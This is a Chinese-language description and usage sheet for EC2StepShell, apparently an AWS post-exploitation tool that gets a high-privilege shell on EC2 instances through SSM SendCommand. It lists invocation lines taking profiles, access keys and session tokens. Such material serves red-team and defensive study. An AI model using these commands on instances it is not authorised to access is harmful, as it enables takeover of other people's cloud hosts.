EC2StepShell是一个AWS攻击后工具,用于获取公共或私有EC2实例中的高权限反向shell。它的工作原理是使用ssm:SendCommand向EC2实例发送命令,然后使用ssm:ListCommandInvocations检索输出。
python -m ec2stepshell -h
# running using the default profile configured in AWS CLI
python -m ec2stepshell $instance_id --region $region
# running using a specific profile configured in AWS CLI
python -m ec2stepshell $instance_id --region $region --profile $profile
# running using persistent access credentials
python -m ec2stepshell $instance_id --region $region --access-key $access_key --secret-key $secret_key
# running using temporary access credentials
python -m ec2stepshell $instance_id --region $region --access-key $access_key --secret-key $secret_key --session-token $session_token
# for MacOS and UNIX instances
python -m ec2stepshell $instance_id --region $region --os linux
# for Windows instances
python -m ec2stepshell $instance_id --region $region --os windows
# set an initial delay of 2.5 seconds
python -m ec2stepshell $instance_id --region $region --delay 2.5
# set retry delay of 0.5 seconds
python -m ec2stepshell $instance_id --region $region --retry-delay 0.5
# increase the maximum number of retries to 5
python -m ec2stepshell $instance_id --region $region --max-retries 5